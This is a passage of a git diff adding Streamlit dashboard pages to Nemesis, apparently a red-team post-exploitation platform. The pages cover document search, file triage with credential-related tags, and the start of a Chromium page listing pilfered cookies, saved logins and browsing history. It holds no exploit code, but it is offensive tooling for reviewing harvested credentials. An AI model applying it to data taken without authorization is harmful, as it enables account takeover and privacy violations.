+ default="text_search",
+ )
+
+ if chosen_tab == "text_search":
+ if st.session_state.text_search is None:
+ search_term = st.text_input("Enter search term(s):")
+ else:
+ search_term = st.text_input("Enter search term(s):", st.session_state.text_search)
+
+ if search_term != "":
+ st.session_state.text_search = search_term
+ from_i = (st.session_state.text_page - 1) * PAGE_SIZE
+ results = utils.elastic_text_search(search_term, from_i, PAGE_SIZE)
+ if results != {}:
+ total_hits = results["hits"]["total"]["value"]
+ num_results = len(results["hits"]["hits"])
+
+ if total_hits > 0:
+ st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True)
+
+ for i in range(num_results):
+ res = utils.simplify_es_text_result(results["hits"]["hits"][i])
+ originatingObjectPath = res["originatingObjectPath"]
+ originatingObjectId = res["originatingObjectId"]
+ originatingObjectURL = res["originatingObjectURL"]
+ if "originatingObjectConvertedPdfUrl" in res:
+ originatingObjectConvertedPdfUrl = res["originatingObjectConvertedPdfUrl"]
+ pdf_url = f"{originatingObjectConvertedPdfUrl}&action=view"
+ else:
+ pdf_url = ""
+
+ highlights = res["highlights"]
+ source = ""
+ if "metadata" in res and "source" in res["metadata"]:
+ source = res["metadata"]["source"]
+ if "wordCount" in res:
+ length = res["wordCount"]
+ else:
+ length = "-1"
+
+ (header, highlights, footer) = templates.text_search_result(
+ i=i,
+ url=originatingObjectURL,
+ pdf_url=pdf_url,
+ source=source,
+ path=originatingObjectPath,
+ highlights=highlights,
+ length=length,
+ originating_object_id=originatingObjectId,
+ )
+ st.write(header, unsafe_allow_html=True)
+ st.markdown(highlights)
+ st.write(footer, unsafe_allow_html=True)
+
+ # pagination
+ if total_hits > PAGE_SIZE:
+ total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE
+ pagination_html = templates.text_pagination(total_pages, search_term, st.session_state.text_page)
+ st.write(pagination_html, unsafe_allow_html=True)
+ else:
+ st.write(templates.no_result_html(), unsafe_allow_html=True)
+
+ elif chosen_tab == "source_code_search":
+ if st.session_state.text_search is None:
+ search_term = st.text_input("Enter search term(s):")
+ else:
+ search_term = st.text_input("Enter search term(s):", st.session_state.text_search)
+
+ if search_term != "":
+ st.session_state.text_search = search_term
+ from_i = (st.session_state.text_page - 1) * PAGE_SIZE
+ results = utils.elastic_sourcecode_search(search_term, from_i, PAGE_SIZE)
+ if results != {}:
+ total_hits = results["hits"]["total"]["value"]
+ num_results = len(results["hits"]["hits"])
+
+ if total_hits > 0:
+ st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True)
+
+ for i in range(num_results):
+ res = utils.simplify_es_text_result(results["hits"]["hits"][i])
+ path = res["path"]
+ download_url = res["downloadURL"]
+ elastic_url = res["fileObjectURL"]
+ # extension = res["extension"]
+ language = res["language"]
+ name = res["name"]
+ path = res["path"]
+ size = res["size"]
+ highlights = res["highlights"]
+ source = ""
+ if "metadata" in res and "source" in res["metadata"]:
+ source = res["metadata"]["source"]
+
+ (header, highlights, footer) = templates.sourcecode_search_result(
+ i=i,
+ elastic_url=elastic_url,
+ download_url=download_url,
+ source=source,
+ path=path,
+ name=name,
+ language=language,
+ highlights=highlights,
+ size=size,
+ )
+ st.write(header, unsafe_allow_html=True)
+ st.code(highlights, language=language.lower())
+ st.write(footer, unsafe_allow_html=True)
+
+ # pagination
+ if total_hits > PAGE_SIZE:
+ total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE
+ pagination_html = templates.text_pagination(total_pages, search_term, st.session_state.text_page)
+ st.write(pagination_html, unsafe_allow_html=True)
+ else:
+ st.write(templates.no_result_html(), unsafe_allow_html=True)
+
+ elif chosen_tab == "semantic_search":
+ cols = st.columns(2)
+ with cols[1]:
+ num_results = st.slider("Select the number of results to return", min_value=0, max_value=10, value=4, step=1)
+
+ if st.session_state.text_search is None:
+ search_term = st.text_input("Enter search term(s):")
+ else:
+ search_term = st.text_input("Enter search term(s):", st.session_state.text_search)
+
+ if search_term != "":
+ st.session_state.text_search = search_term
+
+ try:
+ json_results = utils.semantic_search(search_term, num_results)
+ if not json_results or "results" not in json_results:
+ st.warning("No results retrieved from semantic search, service might be busy")
+ else:
+ for result in json_results["results"]:
+ (header, text, footer) = templates.semantic_search_result(result)
+ st.write(header, unsafe_allow_html=True)
+ st.write(text, unsafe_allow_html=False)
+ st.write(footer, unsafe_allow_html=True)
+ # st.divider()
+ except Exception as e:
+ st.error(f"Exception: {e}")
+
diff --git a/cmd/dashboard/dashboard/pages/2_Files.py b/cmd/dashboard/dashboard/pages/2_Files.py
new file mode 100644
index 0000000..b48bc86
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/2_Files.py
@@ -0,0 +1,589 @@
+# Standard Libraries
+import datetime
+import os
+import re
+import ntpath
+import urllib.parse
+from typing import List
+
+# 3rd Party Libraries
+import extra_streamlit_components as stx
+import streamlit as st
+import templates
+import utils
+from streamlit_cookies_manager import CookieManager
+from streamlit_elements import dashboard, elements, html, lazy, mui, sync
+from streamlit_searchbox import st_searchbox
+from streamlit_toggle import st_toggle_switch
+
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000"
+NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER")
+PAGE_SIZE = 8
+
+
+global sources, projects
+sources = []
+projects = []
+
+current_user = utils.header()
+
+# should be defined in ./packages/python/nemesiscommon/nemesiscommon/contents.py - E_TAG_*
+filter_tags = [
+ "contains_dpapi",
+ "noseyparker_results",
+ "parsed_creds",
+ "encrypted",
+ "deserialization",
+ "cmd_execution",
+ "remoting",
+ "yara_matches",
+ "file_canary",
+]
+
+
+def search_sources(search_term: str) -> List[str]:
+ global sources
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v, re.IGNORECASE), sources))
+
+
+def search_projects(search_term: str) -> List[str]:
+ global projects
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v, re.IGNORECASE), projects))
+
+
+if st.session_state["authentication_status"]:
+ cookies = CookieManager()
+ if not cookies.ready():
+ st.stop()
+
+ triage_pattern = re.compile(r"^triage_(?P[0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})_(?P.*)")
+ notes_pattern = re.compile(r"^file_notes_(?P[0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$")
+
+ for state in st.session_state:
+ triage_matches = triage_pattern.search(state)
+ if triage_matches:
+ db_id = triage_matches.group("db_id").replace("_", "-")
+ triage_value = triage_matches.group("triage_value")
+ utils.update_triage_table(db_id, "file_data_enriched", current_user, triage_value)
+ del st.session_state[state]
+ else:
+ notes_matches = notes_pattern.search(state)
+ if notes_matches:
+ db_id = notes_matches.group("db_id").replace("_", "-")
+ utils.update_notes_table(db_id, "file_data_enriched", current_user, st.session_state[state].target.value)
+ del st.session_state[state]
+
+ utils.local_css("./css/files_style.css")
+
+ set_search_params = {}
+ para = st.experimental_get_query_params()
+
+ for key in para.keys():
+ match key:
+ case "file_download_page":
+ st.session_state.file_download_page = int(para["file_download_page"][0])
+ case "file_show_triaged":
+ st.session_state.file_show_triaged = bool(para["file_show_triaged"][0])
+ set_search_params["file_show_triaged"] = st.session_state.file_show_triaged
+ case "file_show_archive_originated":
+ st.session_state.file_show_archive_originated = bool(para["file_show_archive_originated"][0])
+ set_search_params["file_show_archive_originated"] = st.session_state.file_show_archive_originated
+ case "file_path_pattern":
+ st.session_state.file_path_pattern = para["file_path_pattern"][0]
+ set_search_params["file_path_pattern"] = st.session_state.file_path_pattern
+ case "file_notes_pattern":
+ st.session_state.file_notes_pattern = para["file_notes_pattern"][0]
+ set_search_params["file_notes_pattern"] = st.session_state.file_notes_pattern
+ case "file_source_selection":
+ st.session_state.file_source_selection = para["file_source_selection"][0]
+ set_search_params["file_source_selection"] = st.session_state.file_source_selection
+ case "file_project_selection":
+ st.session_state.file_project_selection = para["file_project_selection"][0]
+ set_search_params["file_project_selection"] = st.session_state.file_project_selection
+ case "file_filter_tags":
+ st.session_state.file_filter_tags = para["file_filter_tags"][0].split(",")
+ set_search_params["file_filter_tags"] = st.session_state.file_filter_tags
+ case "file_hash":
+ st.session_state.file_hash = para["file_hash"][0]
+ set_search_params["file_hash"] = st.session_state.file_hash
+ case "file_order_desc_timestamp":
+ st.session_state.order_desc_timestamp = para["file_order_desc_timestamp"][0]
+ set_search_params["file_order_desc_timestamp"] = st.session_state.order_desc_timestamp
+
+ if "file_download_page" not in st.session_state:
+ st.session_state.file_download_page = None
+ if "file_show_triaged" not in st.session_state:
+ st.session_state.file_show_triaged = False
+ if "file_show_archive_originated" not in st.session_state:
+ st.session_state.file_show_archive_originated = False
+ if "file_path_pattern" not in st.session_state:
+ st.session_state.file_path_pattern = ""
+ if "file_notes_pattern" not in st.session_state:
+ st.session_state.file_notes_pattern = ""
+ if "file_source_selection" not in st.session_state:
+ st.session_state.file_source_selection = ""
+ if "file_project_selection" not in st.session_state:
+ st.session_state.file_project_selection = ""
+ if "file_filter_tags" not in st.session_state:
+ st.session_state.file_filter_tags = []
+ if "file_hash" not in st.session_state:
+ st.session_state.file_hash = ""
+ if "file_order_desc_timestamp" not in st.session_state:
+ st.session_state.file_order_desc_timestamp = False
+
+ # TODO: start/end times
+
+ with st.expander("About Files"):
+ st.markdown(
+ """
+ This page shows downloaded files processed by Nemesis, searchable by a
+ variety of filters.
+
+ The `Upload File` tab allows you to upload one or more files to Nemesis
+ for processing (currently not functioning).
+ """
+ )
+
+ chosen_tab = stx.tab_bar(
+ data=[
+ stx.TabBarItemData(id="downloaded_files", title="Downloaded Files", description="Downloaded Files Processed by Nemesis"),
+ stx.TabBarItemData(id="upload_file", title="Upload File", description="Manually Upload a File to Nemesis for Processing"),
+ ],
+ default="downloaded_files",
+ )
+
+ if chosen_tab == "downloaded_files":
+ if not st.session_state.file_download_page:
+ st.session_state.file_download_page = 1
+
+ # get all of the unique source names
+ sources = utils.get_unique_sources("file_data_enriched")
+ projects = utils.get_unique_projects("file_data_enriched")
+ selected_tags = []
+ source_selection = "%"
+ project_selection = "%"
+ file_hash = ""
+ path_pattern = ""
+ notes_pattern = ""
+ show_triaged = False
+ start_date = None
+ start_time = None
+ end_date = None
+ end_time = None
+ order_desc_timestamp = False
+
+ if not sources or len(sources) == 0:
+ st.error("No downloaded file data in the database")
+ else:
+ with st.expander("Search Filters"):
+ col1, col2 = st.columns(2)
+ with col1:
+ path_pattern = st.text_input(
+ "The file path to search for, wildcards (*) supported, case insensitive",
+ placeholder="pdf, *pass*, *users*.exe, *.doc",
+ value=st.session_state.file_path_pattern
+ )
+ if path_pattern:
+ # Add wildcards if there aren't any
+ if "*" not in path_pattern and "%" not in path_pattern:
+ path_pattern = f"*{path_pattern}*"
+ path_pattern = path_pattern.replace("*", "%")
+ st.session_state.file_path_pattern = path_pattern
+ set_search_params["file_path_pattern"] = path_pattern
+ with col2:
+ notes_pattern = st.text_input(
+ "Notes value to search for",
+ value=st.session_state.file_notes_pattern
+ )
+ st.session_state.file_notes_pattern = notes_pattern
+ set_search_params["file_notes_pattern"] = notes_pattern
+ col1, col2 = st.columns(2)
+ with col1:
+ source_selection = st_searchbox(
+ search_sources,
+ label="Enter a source/computer name to search for:",
+ placeholder="Begin typing name to search...",
+ key="file_searchbox_sources",
+ value=st.session_state.file_source_selection
+ )
+ st.session_state.file_source_selection = source_selection
+ set_search_params["file_source_selection"] = source_selection
+ with col2:
+ project_selection = st_searchbox(
+ search_projects,
+ label="Enter a project name to filter for:",
+ placeholder="Type to search...",
+ key="file_searchbox_projects",
+ value=st.session_state.file_project_selection
+ )
+ st.session_state.file_project_selection = project_selection
+ set_search_params["file_project_selection"] = project_selection
+
+ col1, col2 = st.columns(2)
+ with col1:
+ selected_tags = st.multiselect(
+ label="Select a tag to filter for",
+ options=filter_tags,
+ default=st.session_state.file_filter_tags)
+ st.session_state.file_filter_tags = selected_tags
+ set_search_params["file_filter_tags"] = ",".join(selected_tags)
+ with col2:
+ file_hash = st.text_input(
+ "The hash of a file to search for (optional)",
+ placeholder="MD5/SHA1/SHA256 hash value",
+ value=st.session_state.file_hash)
+ st.session_state.file_hash = file_hash
+ set_search_params["file_hash"] = file_hash
+
+ col1, col2, col3 = st.columns(3)
+ with col1:
+ subcol1, subcol2 = st.columns(2)
+ with subcol1:
+ start_date = st.date_input("Filter date (UTC) start", datetime.datetime.now() - datetime.timedelta(days=7))
+ with subcol2:
+ start_time = st.time_input("Filter time (UTC) start", datetime.time(0, 0))
+ with col2:
+ subcol1, subcol2 = st.columns(2)
+ with subcol1:
+ end_date = st.date_input("Filter end date (UTC)", datetime.datetime.now())
+ with subcol2:
+ end_time = st.time_input("Filter end time (UTC)", datetime.datetime.now())
+ with col3:
+ show_triaged = st_toggle_switch(
+ label="Show aready triaged files",
+ key="show_triaged_files",
+ default_value=st.session_state.file_show_triaged,
+ label_after=False,
+ )
+ st.session_state.file_show_triaged = show_triaged
+ set_search_params["file_show_triaged"] = show_triaged
+
+ show_archive_originated = st_toggle_switch(
+ label="Show files extracted from archives",
+ key="show_archive_originated",
+ default_value=st.session_state.file_show_archive_originated,
+ label_after=False,
+ )
+ st.session_state.file_show_archive_originated = show_archive_originated
+ set_search_params["file_show_archive_originated"] = show_archive_originated
+
+ order_desc_timestamp = st_toggle_switch(
+ label="Show newest files first",
+ key="order_desc_timestamp",
+ default_value=st.session_state.file_order_desc_timestamp,
+ label_after=False,
+ )
+ st.session_state.file_order_desc_timestamp = order_desc_timestamp
+ set_search_params["file_order_desc_timestamp"] = order_desc_timestamp
+
+ # combing our start/end date/times
+ start_datetime = datetime.datetime.combine(start_date, start_time)
+ end_datetime = datetime.datetime.combine(end_date, end_time)
+
+ # calculate the interval start for pagination
+ from_i = (st.session_state.file_download_page - 1) * PAGE_SIZE
+
+ if not source_selection:
+ source_selection = "%"
+ if not project_selection:
+ project_selection = "%"
+
+ # get the result count and dataframe for our search through postgres
+ (total_hits, df) = utils.postgres_file_search(
+ start=start_datetime,
+ end=end_datetime,
+ from_i=from_i,
+ size=PAGE_SIZE,
+ source=source_selection,
+ project_id=project_selection,
+ file_hash=file_hash,
+ path_pattern=path_pattern,
+ notes_pattern=notes_pattern,
+ tags=selected_tags,
+ show_triaged=show_triaged,
+ show_archive_originated=show_archive_originated,
+ order_desc_timestamp=order_desc_timestamp,
+ )
+
+ # number of results returned for this search
+ num_results = len(df)
+
+ # total_hits is the _total_ number of (non-paginated) results
+ st.write(templates.number_of_results(total_hits), unsafe_allow_html=True)
+
+ # pagination, if needed
+ if total_hits > PAGE_SIZE:
+ total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE
+ pagination_html = templates.file_pagination(total_pages, st.session_state.file_download_page, search_params=set_search_params)
+ st.write(pagination_html, unsafe_allow_html=True)
+
+ if num_results > 0:
+ layout = [
+ # Grid layout parameters: element_identifier, x_pos, y_pos, width, height, [item properties...]
+ dashboard.Item("1", 0, 0, 10, 2.5, isDraggable=False, isResizable=False, sx={"height": "100%"}),
+ dashboard.Item("2", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("3", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("4", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("5", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("6", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("7", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ dashboard.Item("8", 0, 0, 10, 2.5, isDraggable=False, isResizable=False),
+ ]
+
+ card_id_db_id_mapping = {}
+
+ with elements("dashboard"):
+ with dashboard.Grid(layout=layout):
+ for index, file in df.iterrows():
+ object_id = file["object_id"]
+
+ # replace - with _ since streamlit doesn't support -'s in session state
+ unique_db_id = file["unique_db_id"].replace("-", "_")
+
+ kibana_link = f"{NEMESIS_HTTP_SERVER}/kibana/app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+
+ url_enc_file_name = urllib.parse.quote(file["name"])
+
+ base_file_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}?name={url_enc_file_name}"
+ download_url = f"{base_file_url}&action=download"
+ view_download_url = f"{base_file_url}&action=view"
+ pdf_download_url = ""
+ extracted_source_download_url = ""
+
+ # if we don't have default values, built the appropriate download URIs
+ if file["converted_pdf_id"] != "00000000-0000-0000-0000-000000000000":
+ pdf_download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{file['converted_pdf_id']}?name={url_enc_file_name}.pdf&action=view"
+ if file["extracted_source_id"] != "00000000-0000-0000-0000-000000000000":
+ extracted_source_download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{file['extracted_source_id']}?name={url_enc_file_name}.zip&action=download"
+
+ # If the file is a PDF, set the PDF URL
+ if file["name"].endswith(".pdf"):
+ pdf_download_url = view_download_url
+
+ with mui.Card(
+ key=f"{1*index+1}",
+ sx={
+ "display": "flex",
+ "flexDirection": "column",
+ "borderRadius": 2,
+ "overflow": "auto",
+ "overflowY": "auto",
+ "m": "10",
+ "gap": "10px",
+ },
+ padding=1,
+ elevation=1,
+ spacing=10,
+ ):
+ with mui.AppBar(position="sticky", variant="h7", sx={"minHeight": 32}):
+ with mui.Toolbar(variant="dense", sx={"minHeight": 48, "height": 48}):
+ mui.Typography(file["name"])
+ with mui.Tooltip(title="Download the file"):
+ with html.span:
+ mui.IconButton(mui.icon.Download, href=base_file_url)
+ with mui.Tooltip(title="View the file in Kibana"):
+ with html.span:
+ mui.IconButton(mui.icon.Search, href=kibana_link, target="_blank")
+ with mui.Tooltip(title="View the file in browser"):
+ with html.span:
+ mui.IconButton(mui.icon.TextSnippet, href=view_download_url, target="_blank")
+ if pdf_download_url:
+ with mui.Tooltip(title="View the file as PDF"):
+ with html.span:
+ mui.IconButton(mui.icon.PictureAsPdf, href=pdf_download_url, target="_blank")
+ if extracted_source_download_url:
+ with mui.Tooltip(title="View the extracted source code"):
+ with html.span:
+ mui.IconButton(mui.icon.Code, href=extracted_source_download_url, target="_blank")
+
+ mui.Box(sx={"flexGrow": 1})
+
+ with mui.Tooltip(title="Mark file as useful"):
+ with html.span:
+ mui.IconButton(mui.icon.ThumbUpOffAlt, onClick=sync(f"triage_{unique_db_id}_useful"))
+ with mui.Tooltip(title="Mark file as not useful"):
+ with html.span:
+ mui.IconButton(mui.icon.ThumbDownOffAlt, onClick=sync(f"triage_{unique_db_id}_notuseful"))
+ with mui.Tooltip(title="Mark file as needing additional investigation"):
+ with html.span:
+ mui.IconButton(mui.icon.QuestionMark, onClick=sync(f"triage_{unique_db_id}_unknown"))
+ if file["triage"]:
+ with html.span:
+ mui.Typography("triage")
+
+ # Information table
+ with mui.CardContent(sx={"flex": 1}):
+ with mui.TableContainer(sx={"maxHeight": 200}):
+ with mui.Table(size="small", overflowX="hidden", whiteSpace="nowrap"):
+ with mui.TableBody():
+ identifier_style = {
+ "fontWeight": "bold",
+ "borderRight": "1px solid",
+ "whiteSpace": "nowrap",
+ "padding": "0px 5px 0px 0px",
+ }
+
+ with mui.TableRow(hover=True, padding="none"):
+ mui.TableCell("Path", size="small", sx=identifier_style)
+ mui.TableCell(file["path"], width="100%")
+ with mui.TableRow(hover=True, padding="none"):
+ mui.TableCell("Source / Timestamp", size="small", sx=identifier_style)
+ mui.TableCell(f"{file['source']} @ {file['timestamp']}", size="small")
+ with mui.TableRow(hover=True, padding="none"):
+ mui.TableCell("Nemesis Filetype", sx=identifier_style)
+ mui.TableCell(file["nemesis_file_type"])
+ with mui.TableRow(hover=True, padding="none"):
+ mui.TableCell("Magic Type", sx=identifier_style)
+ mui.TableCell(file["magic_type"])
+ if file["tags"]:
+ with mui.TableRow(hover=True, padding="none"):
+ mui.TableCell("Tags", sx=identifier_style)
+ with mui.TableCell():
+ # Tags
+ for tag in file["tags"]:
+ mui.Chip(label=tag, color="primary")
+ # Notes
+ mui.Typography("Comments:")
+ with mui.Box(sx={"flexGrow": 1}):
+ end = mui.IconButton(mui.icon.Save, onClick=sync())
+
+ mui.TextField(
+ # label="Input Any Notes Here",
+ key=f"file_notes_{unique_db_id}",
+ defaultValue=file["notes"],
+ variant="outlined",
+ margin="none",
+ multiline=True,
+ onChange=lazy(sync(f"file_notes_{unique_db_id}")),
+ fullWidth=True,
+ sx={"flexGrow": 1},
+ InputProps={"endAdornment": end},
+ )
+
+ # draw in nearly invisible placeholders for the rest of the PAGE_SIZE
+ # this is because the grid can't be redrawn, so if the layout isn't filled
+ # in on first render, only the the X first grid slots (where X = original number of rendered entries)
+ # will be rendered
+ for i in range(len(df) + 1, PAGE_SIZE + 1):
+ mui.Box(
+ "",
+ key=i,
+ sx={
+ "maxHeight": 1,
+ "maxWidth": 1,
+ },
+ )
+
+ # pagination, if needed
+ if total_hits > PAGE_SIZE:
+ total_pages = (total_hits + PAGE_SIZE - 1) // PAGE_SIZE
+ pagination_html = templates.file_pagination(total_pages, st.session_state.file_download_page, search_params=set_search_params)
+ st.write(pagination_html, unsafe_allow_html=True)
+
+ elif chosen_tab == "upload_file":
+ cols = st.columns(4)
+ with cols[0]:
+ default_project = cookies["nemesus_project"] if "nemesus_project" in cookies else ""
+ nemesus_project = st.text_input("The name of the current project", value=default_project, placeholder="Please enter a project name")
+ if nemesus_project:
+ cookies["nemesus_project"] = nemesus_project.upper()
+ with cols[1]:
+ default_operator = cookies["nemesis_operator"] if "nemesis_operator" in cookies else ""
+ nemesis_operator = st.text_input("The name of the current operator", value=default_operator, placeholder="Please enter an operator name")
+ if nemesis_operator:
+ cookies["nemesis_operator"] = nemesis_operator.upper()
+ with cols[2]:
+ default_source = cookies["nemesis_source"] if "nemesis_source" in cookies else ""
+ nemesis_source = st.text_input("The name of the source machine", value=default_source, placeholder="Please enter a source")
+ if nemesis_source:
+ cookies["nemesis_source"] = nemesis_source.upper()
+ with cols[3]:
+ default_expiration_days = cookies["nemesis_expiration_days"] if "nemesis_expiration_days" in cookies else "100"
+ nemesis_expiration_days = st.text_input("Days until the data should expire", value=default_expiration_days)
+ if nemesis_expiration_days:
+ if nemesis_expiration_days.isdigit():
+ cookies["nemesis_expiration_days"] = nemesis_expiration_days
+
+ else:
+ st.warning("Expiration days must be an integer!")
+
+ original_file_path = st.text_input("Original file path (optional, used for masterkeys, Chromium data, etc.)")
+ if original_file_path:
+ original_file_path = original_file_path.replace("\\", "/")
+
+ cookies.save()
+
+ if (
+ "nemesus_project" in cookies and cookies["nemesus_project"] != ""
+ and "nemesis_operator" in cookies and cookies["nemesis_operator"] != ""
+ and "nemesis_source" in cookies and cookies["nemesis_source"] != ""
+ and "nemesis_expiration_days" in cookies and cookies["nemesis_expiration_days"] != ""
+ ):
+
+ uploaded_files = st.file_uploader("Choose a file for Nemesis to process", accept_multiple_files=True)
+
+ for uploaded_file in uploaded_files:
+ proceed = True
+ file_name = ntpath.basename(uploaded_file.name)
+
+ if original_file_path:
+ if original_file_path.lower().endswith(file_name.lower()):
+ file_path = original_file_path
+ elif original_file_path.endswith("/"):
+ file_path = f"{original_file_path}{file_name}"
+ else:
+ file_path = f"{original_file_path}/{file_name}"
+ else:
+ file_path = uploaded_file.name
+
+ # if the file is a Chromium based file, a proper path is needed
+ if re.match("^(Local State|History|Login Data|Cookies)$", file_name, re.IGNORECASE):
+ if not utils.is_valid_chromium_file_path(file_path):
+ proceed = False
+ st.warning("Chromium data (Local State, History, Login Data, Cookies) needs a valid originating path!")
+
+ if proceed:
+ bytes_data = uploaded_file.read()
+
+ nemesis_file_id = utils.nemesis_post_file(bytes_data)
+
+ if nemesis_file_id:
+ submission_time = datetime.datetime.utcnow()
+ expiration = submission_time + datetime.timedelta(days=int(cookies["nemesis_expiration_days"]))
+ submission_time_s = submission_time.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+ expiration_s = expiration.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+ metadata = {
+ "agent_id": cookies["nemesis_operator"],
+ "agent_type": "dashboard",
+ "automated": False,
+ "data_type": "file_data",
+ "expiration": expiration_s,
+ "source": cookies["nemesis_source"],
+ "project": cookies["nemesus_project"],
+ "timestamp": submission_time_s,
+ }
+
+ file_data = {"path": f"{file_path}", "size": len(bytes_data), "object_id": nemesis_file_id}
+
+ submission_id = utils.nemesis_post_data({"metadata": metadata, "data": [file_data]})
+
+ if submission_id:
+ st.success("Successful Nemesis submission", icon="âś…")
+ nemesis_upload = f"""
+ | Property | Value |
+ | ------------------- | ----------- |
+ | __Submission ID__ | {submission_id} |
+ | __Nemesis File ID__ | {nemesis_file_id} |
+ | __Project__ | {cookies["nemesus_project"]} |
+ | __Source__ | {cookies["nemesis_source"]} |
+ | __Agent ID__ | {cookies["nemesis_operator"]} |
+ | __Agent Type__ | dashboard |
+ | __Automated__ | False |
+ | __Data Type__ | file_data |
+ | __Timestamp__ | {submission_time_s} |
+ | __Expiration__ | {expiration_s} |
+ | __Filename__ | {uploaded_file.name} |
+ | __Size__ | {len(bytes_data)} |
+ """
+ st.markdown(nemesis_upload)
diff --git a/cmd/dashboard/dashboard/pages/3_Chromium.py b/cmd/dashboard/dashboard/pages/3_Chromium.py
new file mode 100644
index 0000000..5b7244d
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/3_Chromium.py
@@ -0,0 +1,592 @@
+# Standard Libraries
+import os
+import re
+from typing import List
+
+# 3rd Party Libraries
+import extra_streamlit_components as stx
+import streamlit as st
+import utils
+from st_aggrid import (
+ AgGrid,
+ ColumnsAutoSizeMode,
+ DataReturnMode,
+ GridOptionsBuilder,
+ GridUpdateMode,
+ JsCode,
+)
+from streamlit_searchbox import st_searchbox
+from streamlit_toggle import st_toggle_switch
+
+PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or ""
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "1000"
+PAGE_SIZE = os.environ.get("PAGE_SIZE") or "10"
+PAGE_SIZE = int(PAGE_SIZE)
+
+global sources
+sources = []
+global usernames
+usernames = []
+global cookie_names
+cookie_names = []
+global cookie_sites
+cookie_sites = []
+
+current_user = utils.header()
+
+
+def search_sources(search_term: str) -> List[str]:
+ global sources
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), sources))
+
+
+def search_usernames(search_term: str) -> List[str]:
+ global usernames
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), usernames))
+
+
+def search_cookie_names(search_term: str) -> List[str]:
+ global cookie_names
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), cookie_names))
+
+
+def search_cookie_sites(search_term: str) -> List[str]:
+ global cookie_sites
+ return list(filter(lambda v: re.match(f".*{re.escape(search_term)}.*", v), cookie_sites))
+
+
+if "authentication_status" in st.session_state and st.session_state["authentication_status"]:
+ with st.expander("About Chromium"):
+ st.markdown(
+ """
+ This page will let you search for a source system, username, browser
+ type, + cookie and/or site name to filter for existing Chromium cookies or logins.
+
+ for cookies, click the "Show expired" button to show all cookies instead of just those
+ that are not expired (the detault).
+ """
+ )
+
+ query_params = st.experimental_get_query_params()
+
+ # pull our specified tab from the query parameters, otherwise use "cookies" as the default
+ if "tab" not in query_params or not query_params["tab"]:
+ query_params["tab"] = ["cookies"]
+
+ chosen_tab = stx.tab_bar(
+ data=[
+ stx.TabBarItemData(id="cookies", title="Cookies", description="Chromium pilfered cookies"),
+ stx.TabBarItemData(id="logins", title="Logins", description="Chromium saved logins"),
+ stx.TabBarItemData(id="history", title="History", description="Chromium visited URLs"),
+ stx.TabBarItemData(id="downloads", title="Downloads", description="Chromium download information"),
+ ],
+ default=query_params["tab"][0],
+ )
+ query_params["tab"] = [chosen_tab]
+ st.experimental_set_query_params(**query_params)
+
+ if chosen_tab == "cookies":
+ # switches for showing unencrypted + expired cookies
+ col1, col2, col3, col4 = st.columns(4)
+ with col3:
+ # if "show_unencrypted_cookies" in query_params and query_params["show_unencrypted_cookies"][0] == "True":
+ # show_unencrypted_default = True
+ # else:
+ # show_unencrypted_default = False
+ show_encrypted = st_toggle_switch(
+ label="Show encrypted cookies",
+ key="unencrypted_cookie_switch",
+ default_value=False,
+ label_after=False,
+ )
+ # if show_unencrypted:
+ # query_params["show_unencrypted_cookies"] = ["True"]
+ # else:
+ # query_params["show_unencrypted_cookies"] = ["False"]
+
+ with col4:
+ # if "show_expired_cookies" in query_params and query_params["show_expired_cookies"][0] == "True":
+ # show_expired_default = True
+ # else:
+ # show_expired_default = False
+ show_expired = st_toggle_switch(label="Show expired cookies", key="expired_cookie_switch", default_value=False, label_after=False)
+ # if show_unencrypted:
+ # query_params["show_unencrypted_cookies"] = ["True"]
+ # else:
+ # query_params["show_unencrypted_cookies"] = ["False"]
+
+ # get all of the unique source names from the nemesis.cookies table
+ sources = utils.get_unique_sources("chromium_cookies")
+
+ if not sources or len(sources) == 0:
+ st.error("No Chromium cookie data in the database")
+ else:
+ source_selection = st_searchbox(
+ search_sources,
+ label="Enter a source/computer name to search for:",
+ placeholder="Type to search...",
+ key="cookies_searchbox_sources",
+ )
+ if not source_selection:
+ source_selection = "%"
+
+ # query_params["cookies_source"] = [source_selection]
+
+ col1, col2 = st.columns(2)
+
+ usernames = utils.get_usernames_for_source("cookies", source_selection)
+
+ with col1:
+ username_selection = st_searchbox(
+ search_usernames,
+ label="Enter a username to search for:",
